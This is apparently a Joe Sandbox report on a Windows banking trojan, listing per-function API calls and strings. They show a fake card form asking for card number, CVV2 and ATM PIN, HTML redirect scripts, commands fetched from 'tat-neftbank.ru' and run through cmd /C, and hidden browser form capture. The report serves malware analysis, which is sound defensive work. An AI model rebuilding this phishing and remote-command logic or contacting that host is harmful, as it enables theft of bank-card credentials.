CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,00000046,00000028,00000018,00000000,00000000,00000200,EDIT), ref: 00406503
CreateWindowExA.USER32(00000200,EDIT,0042CBF0,50800000,00000014,0000005F,00000064,00000018,00000000,00000000,00000200,EDIT), ref: 00406539
CreateWindowExA.USER32(00000000,BUTTON,Click Once To Continue,50800000,0000001E,00000140,0000009B,00000017,00000000,00000000,00000200,EDIT), ref: 00406572
CreateFontA.GDI32(00000010,00000006,00000000,00000000,00000190,00000000,00000000,00000000,00000001,00000005,00000000,00000000,00000002,00000000), ref: 0040659B
SendMessageA.USER32(00000030,00000000,00000001,00000010), ref: 004065B3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065C3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065D3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065E3
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 004065F9
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406609
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406619
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406632
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406642
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406652
SendMessageA.USER32(00000030,00000000,00000001,00000030), ref: 00406662
GetWindowLongA.USER32(000000FC,00000030), ref: 0040666F
SetWindowLongA.USER32(000000FC,004077E4,00000000), ref: 00406686
GetWindowLongA.USER32(000000FC,00000001), ref: 00406699
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066B0
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066BD
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066D4
GetWindowLongA.USER32(000000FC,000000FC), ref: 004066E1
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 004066F8
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406705
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 0040671C
GetWindowLongA.USER32(000000FC,000000FC), ref: 00406732
SetWindowLongA.USER32(000000FC,004077E4,000000FC), ref: 00406749

Strings

EDIT, xrefs: 004064BD, 004064F9, 0040652F
Explorer, xrefs: 00406098
Please make corrections and try again., xrefs: 00406482
3-digit validation code on back of card (cvv2), xrefs: 004063D7
BUTTON, xrefs: 0040656B
20%.2u, xrefs: 00406302
Unable to authorize. ATM PIN-Code is required to complete the transaction., xrefs: 00406449
MasterCard, xrefs: 004061F2
Your card number, xrefs: 0040639E
Authorization Failed., xrefs: 00406129
%.2u, xrefs: 004062D6
Visa, xrefs: 00406204
DocObject, xrefs: 00406089
ATM PIN-Code, xrefs: 00406410
QueenKarton, xrefs: 004060F5
COMBOBOX, xrefs: 004061DB, 00406273, 004062B2
Card && expiration date, xrefs: 0040635F
Click Once To Continue, xrefs: 00406566
STATIC, xrefs: 0040612E, 00406172, 00406364, 004063A3, 004063DC, 00406415, 0040644E, 00406487

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: Window$CreateMessageSend$Long$Fontsprintf$ClassNameRectShow
String ID: Authorization Failed.$%.2u$20%.2u$3-digit validation code on back of card (cvv2)$ATM PIN-Code$BUTTON$COMBOBOX$Card && expiration date$Click Once To Continue$DocObject$EDIT$Explorer$MasterCard$Please make corrections and try again.$QueenKarton$STATIC$Unable to authorize. ATM PIN-Code is required to complete the transaction.$Visa$Your card number
API String ID: 1504929638-2953596215
Opcode ID: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction ID: 07d4a47d2009414dc6278682baa0b56b1decc7bc7d2f3e077783c243e1dcc7f7
Opcode Fuzzy Hash: 2b110ff0b09441361ee02be2c61f902c508efa27e53455d3dea65c4eb733ddb1
Instruction Fuzzy Hash: 43F16F31BC43157AFA212B61ED43FA93A66AF14F44F60413AB700BD0F1DAF92911AB5D

Function 0040570C Relevance: 122.9, APIs: 56, Strings: 14, Instructions: 371
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathA.KERNEL32(00000104,?), ref: 00405730
strcat.CRTDLL(?,.htm), ref: 00405764
sprintf.CRTDLL(?,<html>), ref: 00405778
rand.CRTDLL ref: 00405786
strcat.CRTDLL(?,0042CC6C), ref: 004057A4
rand.CRTDLL ref: 004057AC
rand.CRTDLL ref: 004057BE
sprintf.CRTDLL(?,%s,?), ref: 004057DF
rand.CRTDLL ref: 004057E7
strcat.CRTDLL(?,0042CC6C), ref: 00405805
strcat.CRTDLL(?,<head>), ref: 00405819
rand.CRTDLL ref: 00405827
strcat.CRTDLL(?,0042CC6C), ref: 00405845
rand.CRTDLL ref: 0040584D
rand.CRTDLL ref: 0040585F
sprintf.CRTDLL(?,%s,?), ref: 00405880
sprintf.CRTDLL(?,%s<title>%s%u</title>,?,MicroSoft-Corp,?), ref: 004058A3
rand.CRTDLL ref: 004058B1
strcat.CRTDLL(?,0042CC6C), ref: 004058CF
strcat.CRTDLL(?,</head>), ref: 004058E3
rand.CRTDLL ref: 004058EB
strcat.CRTDLL(?,0042CC6C), ref: 00405909
strcat.CRTDLL(?,<body>), ref: 0040591D
rand.CRTDLL ref: 0040592B
rand.CRTDLL ref: 0040593D
sprintf.CRTDLL(?,%s,?), ref: 0040595E
strcat.CRTDLL(?,<script>), ref: 00405972
rand.CRTDLL ref: 0040597A
strcat.CRTDLL(?,0042CC6C), ref: 00405998
strcat.CRTDLL(?,function x()), ref: 004059AC
rand.CRTDLL ref: 004059C0
strcat.CRTDLL(?,0042CC6C), ref: 004059DE
strcat.CRTDLL(?,0042CA2E), ref: 004059F2
rand.CRTDLL ref: 004059FA
strcat.CRTDLL(?,0042CC6C), ref: 00405A18
sprintf.CRTDLL(?,%sself.parent.location="%s";,?,?), ref: 00405A42
rand.CRTDLL ref: 00405A4A
strcat.CRTDLL(?,0042CC6C), ref: 00405A68
strcat.CRTDLL(?,0042CA14), ref: 00405A7C
rand.CRTDLL ref: 00405A8A
strcat.CRTDLL(?,0042CC6C), ref: 00405AA8
rand.CRTDLL ref: 00405AB0
sprintf.CRTDLL(?,%ssetTimeout("x()",%u);,?), ref: 00405AD9
rand.CRTDLL ref: 00405AE1
strcat.CRTDLL(?,0042CC6C), ref: 00405AFF
strcat.CRTDLL(?,</script>), ref: 00405B13
rand.CRTDLL ref: 00405B27
strcat.CRTDLL(?,0042CC6C), ref: 00405B45
rand.CRTDLL ref: 00405B4D
rand.CRTDLL ref: 00405B5F
sprintf.CRTDLL(?,%s,?), ref: 00405B80
strcat.CRTDLL(?,</body><html>), ref: 00405B94
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BAC
lstrlenA.KERNEL32(?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BCD
WriteFile.KERNEL32(?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BE9
CloseHandle.KERNEL32(?,?,?,00000000,?,00000000,?,?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 00405BF4

Strings

</script>, xrefs: 00405B07
MicroSoft-Corp, xrefs: 0040588B
</body><html>, xrefs: 00405B88
<script>, xrefs: 00405966
%s<title>%s%u</title>, xrefs: 00405897
<head>, xrefs: 0040580D
%ssetTimeout("x()",%u);, xrefs: 00405ACD
.htm, xrefs: 0040575E
%sself.parent.location="%s";, xrefs: 00405A36
function x(), xrefs: 004059A0
</head>, xrefs: 004058D7
<html>, xrefs: 0040576C
<body>, xrefs: 00405911
%s, xrefs: 004057D3, 00405874, 00405952, 00405B74

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: strcat$rand$sprintf$File$CloseCreateHandlePathTempWritelstrlen
String ID: %s$%s<title>%s%u</title>$%sself.parent.location="%s";$%ssetTimeout("x()",%u);$.htm$</body><html>$</head>$</script>$<body>$<head>$<html>$<script>$MicroSoft-Corp$function x()
API String ID: 4291226702-3565490566
Opcode ID: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction ID: 1c5cdfde58a584b0b9fe07ae47c92bc765a9e47636cc13cf9b12a0be20bdf5ec
Opcode Fuzzy Hash: 08e8a8e08d7a39e8062486bb6ab2fd16be076c2ff6bcf67ed59b44270b333af9
Instruction Fuzzy Hash: 93B1CAB6F0132416EB14A262DCC6B6D31AA9B85704F6404FFF508731C2E67C6E558AFE

Function 004068B0 Relevance: 61.5, APIs: 22, Strings: 13, Instructions: 221
stringprocessfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00405F5B: lstrlenA.KERNEL32(?), ref: 00405F73
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,?), ref: 00405F7E
Part of subcall function 00405F5B: LocalAlloc.KERNEL32(00000040,?,?,?), ref: 00405F8D
Part of subcall function 00405F5B: lstrlenA.KERNEL32(?,00000000,?,00000040,?,?,?), ref: 00405FA2
Part of subcall function 00405F5B: DeleteUrlCacheEntry.WININET(?), ref: 00405FB5
Part of subcall function 00405F5B: CreateThread.KERNEL32(00000000,00000000,Function_00005C09,00000000,00000000,?), ref: 00405FCA
Part of subcall function 00405F5B: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040,?,?), ref: 00405FDD
Part of subcall function 00405F5B: GetExitCodeThread.KERNEL32(00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?,00000040), ref: 00405FE7
Part of subcall function 00405F5B: CloseHandle.KERNEL32(00000000,00000000,?,00000000,000000FF,00000000,00000000,Function_00005C09,00000000,00000000,?,00000001,?,?,00000000,?), ref: 00405FED

sscanf.CRTDLL(0000003A,:%02u,?), ref: 0040695B
rand.CRTDLL ref: 00406972
sprintf.CRTDLL(?,%s\cmd.pif,00429080), ref: 004069B5
sprintf.CRTDLL(?,%s\cmd.exe,00429080,?,%s\cmd.pif,00429080), ref: 004069D1
GetWindowsDirectoryA.KERNEL32(?,00000400), ref: 004069E7
sprintf.CRTDLL(?,%s\command.pif,?,?,00000400), ref: 00406A0E
strcat.CRTDLL(?,\command.com,?,%s\command.pif,?,?,00000400), ref: 00406A1F
DeleteFileA.KERNEL32(?,?,?,?,?,00000400), ref: 00406A2E
sprintf.CRTDLL(?,%s /C %s,?,00000036,?,?,?,?,?,00000400), ref: 00406A50
WinExec.KERNEL32(?,00000000), ref: 00406A61
atoi.CRTDLL(00000035), ref: 00406A8E
sprintf.CRTDLL(?,%s\Rtdx1%i.dat,00429080,0000000C), ref: 00406AC4
lstrlenA.KERNEL32(?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406AE4
sprintf.CRTDLL(0000002F,%s/Rtdx1%i.htm,0000002F,0000000C,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B45
lstrlenA.KERNEL32(?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B54
lstrlenA.KERNEL32(0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B66
LocalAlloc.KERNEL32(00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406B78
lstrlenA.KERNEL32(?,?,?,00000040,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406BA2
CreateThread.KERNEL32(00000000,00000000,Function_0000686C,?,00000000,0000000C), ref: 00406BD6
CloseHandle.KERNEL32(00000000,00000000,00000000,Function_0000686C,?,00000000,0000000C,?,0000002F,?,?,?,00000040,?,0000002F,?), ref: 00406BDC
LocalFree.KERNEL32(?,?,0000002F,?,?,?,?,http://tat-neftbank.ru/wcmd.htm), ref: 00406C07
_sleep.CRTDLL(001B7740), ref: 00406C17

Strings

\command.com, xrefs: 00406A13
wupd , xrefs: 00406A68
:, xrefs: 00406934
%s\cmd.exe, xrefs: 004069C5
%s/Rtdx1%i.htm, xrefs: 00406B39
http://tat-neftbank.ru/wcmd.htm, xrefs: 004068CC, 00406ACC
/, xrefs: 00406AF7
%s\command.pif, xrefs: 00406A02
%s\Rtdx1%i.dat, xrefs: 00406AB8
:, xrefs: 00406927
%s\cmd.pif, xrefs: 004069A9
:%02u, xrefs: 0040694F
%s /C %s, xrefs: 00406A44

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: lstrlen$sprintf$LocalThread$AllocCloseCreateDeleteHandle$CacheCodeDirectoryEntryExecExitFileFreeObjectSingleWaitWindows_sleepatoirandsscanfstrcat
String ID: %s /C %s$%s/Rtdx1%i.htm$%s\Rtdx1%i.dat$%s\cmd.exe$%s\cmd.pif$%s\command.pif$/$:$:$:%02u$\command.com$http://tat-neftbank.ru/wcmd.htm$wupd
API String ID: 4275340860-3363018154
Opcode ID: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction ID: 18f08bfc30c9890c11dd244c38850a50baba5aa484248b9ca7ce56826a71177a
Opcode Fuzzy Hash: db39d86638ff862d2fb6c91229f091ab8a43fd21800a492105b3074faeac2b45
Instruction Fuzzy Hash: 328163B1E08228ABDB21A6658D46BD977BCDB04304F5105F7E60CB21C1E67C7F948F99

Function 004052E0 Relevance: 31.6, APIs: 13, Strings: 5, Instructions: 115sleepstringprocessCOMMON

Download Yara Rule

APIs

strcat.CRTDLL(?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?,?,?), ref: 004052F8
strcat.CRTDLL(?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?,?,?,?), ref: 0040530B

Part of subcall function 0040431F: GetCurrentThreadId.KERNEL32 ref: 00404341
Part of subcall function 0040431F: GetThreadDesktop.USER32(00000000), ref: 00404347

memset.CRTDLL(?,00000000,00000044,?,?,?,\Iexplore.exe ,?,?,?,?,?,?,?,00000104,?), ref: 0040532C
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 0040539F
CloseHandle.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053B2
sprintf.CRTDLL(?,%s%u - Microsoft Internet Explorer,MicroSoft-Corp,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004053D4
Sleep.KERNEL32(00007800,00000000,00000000,00000044,?), ref: 00405426
Sleep.KERNEL32(0000F000,00007800,00000000,00000000,00000044,?), ref: 00405439
GetWindowTextA.USER32(00000000,?,00000104), ref: 00405451
DeleteFileA.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 00405499
LocalFree.KERNEL32(?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054A5
TerminateProcess.KERNEL32(?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054B2
CloseHandle.KERNEL32(?,?,00000000,?,?,00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00000044,?), ref: 004054BD

Strings

%s%u - Microsoft Internet Explorer, xrefs: 004053C8
MicroSoft-Corp, xrefs: 004053C3
D, xrefs: 00405334
\Iexplore.exe , xrefs: 004052EC
X-okRecv11, xrefs: 00405458

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: CloseHandleProcessSleepThreadstrcat$CreateCurrentDeleteDesktopFileFreeLocalTerminateTextWindowmemsetsprintf
String ID: %s%u - Microsoft Internet Explorer$D$MicroSoft-Corp$X-okRecv11$\Iexplore.exe
API String ID: 1202517094-2261298365
Opcode ID: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction ID: a5954b523feb805065d44168e487e19d6cbd8b1c6e851fe6a795fce517e83f05
Opcode Fuzzy Hash: e98e409644201e6de021147ee2f0c1805f35588af9548cc9b8076052c01221a7
Instruction Fuzzy Hash: 4F416572E442186ADB20AA65CC46BDDB3B99F50305F1444F7E208F61D1DABCAEC48F59

Function 00401B9F Relevance: 26.7, APIs: 11, Strings: 4, Instructions: 487memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(value), ref: 00401BCC

Part of subcall function 004017AC: CoInitialize.OLE32(00000000), ref: 004017CC
Part of subcall function 004017AC: CLSIDFromString.OLE32({9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 004017DA
Part of subcall function 004017AC: CoCreateInstance.OLE32(?,00000000,?,0042CD50,?,{9BA05972-F6A8-11CF-A442-00A0C90A8F39},?), ref: 00401803

_sleep.CRTDLL(00000000), ref: 00401BFD
GetForegroundWindow.USER32(00000000), ref: 00401C02

Part of subcall function 0040185F: GetWindowTextA.USER32(?,?,?), ref: 004018E2

memcpy.CRTDLL(00418F40,?,?), ref: 00401D6D
memcpy.CRTDLL(?,00418F40,?), ref: 00401F34
_sleep.CRTDLL(00000000), ref: 00401F4A
sprintf.CRTDLL(?,%s FORM_%X,?,?,00000000), ref: 00401F77

Strings

%s %X%c, xrefs: 0040218F
%s%c, xrefs: 004021EB
%s FORM_%X, xrefs: 00401F6B
value, xrefs: 00401BC7

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: StringWindow_sleepmemcpy$AllocCreateForegroundFromInitializeInstanceTextsprintf
String ID: %s %X%c$%s FORM_%X$%s%c$value
API String ID: 3510745994-3693252589
Opcode ID: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction ID: 207a0c2c24704257dc82047f11ad41d7b25eba1db427a6dda8aff0efe7f4a5ef
Opcode Fuzzy Hash: 97066158e7caddc246d118ad30601bc5e86c518a965b60cc81196b9f5f35fe85
Instruction Fuzzy Hash: 2112DC71A002199FDB62DB68CD44BDAB7F9BB0C304F5040FAA588E7290D7B4AAC58F55

Function 00402822 Relevance: 21.0, APIs: 6, Strings: 6, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

Strings

NtUnmapViewOfSection, xrefs: 00402851
NtOpenSection, xrefs: 00402867
ntdll.dll, xrefs: 00402835
RtlNtStatusToDosError, xrefs: 00402887
RtlInitUnicodeString, xrefs: 00402841
NtMapViewOfSection, xrefs: 00402877

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleModule
String ID: NtMapViewOfSection$NtOpenSection$NtUnmapViewOfSection$RtlInitUnicodeString$RtlNtStatusToDosError$ntdll.dll
API String ID: 667068680-1987783197
Opcode ID: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction ID: 9d3c92be313ac2760b75685e9acc68d9338f811418752029c31410863af0f615
Opcode Fuzzy Hash: f3f948102971a568e61a5bb1a738835a59e2c1009918de6079867c1c535b5a8b
Instruction Fuzzy Hash: BCF03A21B642206B93126B327D4293E36689792B19395003FF840F6191DB7C09225F9F

Function 00402E06 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 337libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00402822: GetModuleHandleA.KERNEL32(ntdll.dll,00000000,69D467A1,00402E1B,00000000,69D467A1,?,?,00406F1E,00000000,00000000,00000000,QueenKarton_12,%s\%s,00429080,dnkkq.dll), ref: 0040283A
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlInitUnicodeString), ref: 00402847
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 00402857
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtOpenSection), ref: 0040286D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 0040287D
Part of subcall function 00402822: GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 0040288D

GetVersion.KERNEL32 ref: 00402E22
LoadLibraryA.KERNEL32 ref: 00402E91
GetProcAddress.KERNEL32 ref: 00402EC5
IsBadReadPtr.KERNEL32(?,00001000), ref: 00402F75
GlobalMemoryStatus.KERNEL32(?), ref: 00402F9F
CloseHandle.KERNEL32(?), ref: 00403065
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 004030EA
VirtualQuery.KERNEL32(?,?,0000001C), ref: 0040315B
IsBadWritePtr.KERNEL32(00000000,00001000), ref: 004031F1

Strings

kernel32.dll, xrefs: 004030E5

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: AddressProc$Handle$Module$CloseGlobalLibraryLoadMemoryQueryReadStatusVersionVirtualWrite
String ID: kernel32.dll
API String ID: 2089743848-1793498882
Opcode ID: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction ID: cfd5926590b061e949c3a24607155209ead47d6dc4f6dfca132d0ef3b1a5cdf0
Opcode Fuzzy Hash: 4f42c9a603f3b22a608ddecb7cf3016b4a0286024c9d1ec82fce5a6e54f44313
Instruction Fuzzy Hash: F6F19070D042B88BEB328F64DD483E9BBB1AB55306F0481EBD588662D2C2B85FC5CF55

Function 004037AA Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 53COMMON

Download Yara Rule

APIs

printf.CRTDLL([length=%i] [summ=%i],?,00000000), ref: 004037DD
printf.CRTDLL(HEX: ,[length=%i] [summ=%i],?,00000000), ref: 004037EE
printf.CRTDLL(%02X ,00000000), ref: 00403804
printf.CRTDLL(TXT: '%s',?), ref: 0040382C

Strings

X4, xrefs: 004037E2
HEX: , xrefs: 004037E9
TXT: '%s', xrefs: 00403827
%02X , xrefs: 004037FF
[length=%i] [summ=%i], xrefs: 004037D8

Memory Dump Source

Source File: 00000005.00000002.1984377301.0000000000401000.00000040.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1984355938.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984697052.000000000042A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984738223.000000000042E000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984773155.000000000042F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984812704.0000000000436000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.1984845188.0000000000438000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_Olijjb32.jbxd

Yara matches

Similarity

API ID: printf
String ID: TXT: '%s'$%02X $HEX: $X4$[length=%i] [summ=%i]
API String ID: 3524737521-4004101572
Opcode ID: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction ID: a8ef6db4a05ad48ab0456940bf437e850f92713de92630681f76b68ebadef0f7
Opcode Fuzzy Hash: ca4ded32e23903f7249d6c5dbeb3a47121f77b3b45ed42eb0d7ff3160f68b428
Instruction Fuzzy Hash: 88016B62A04254BED7006FA7CC82A6F7FDCAB4175AF2080BEF545730C0D1B86F41D6A6

Function 004054D7 Relevance: 15.1, APIs: 10, Instructions: 109stringthreadmemoryCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?), ref: 004054F1
lstrlenA.KERNEL32(?,?), ref: 00405505
lstrlenA.KERNEL32(?,?,?), ref: 00405513
lstrlenA.KERNEL32(?,?,?,?), ref: 0040551F
LocalAlloc.KERNEL32(00000000,?,?,?,?,?), ref: 0040554B
memcpy.CRTDLL(00000001,?,?,00000000,?,?,?,?,?), ref: 0040556A
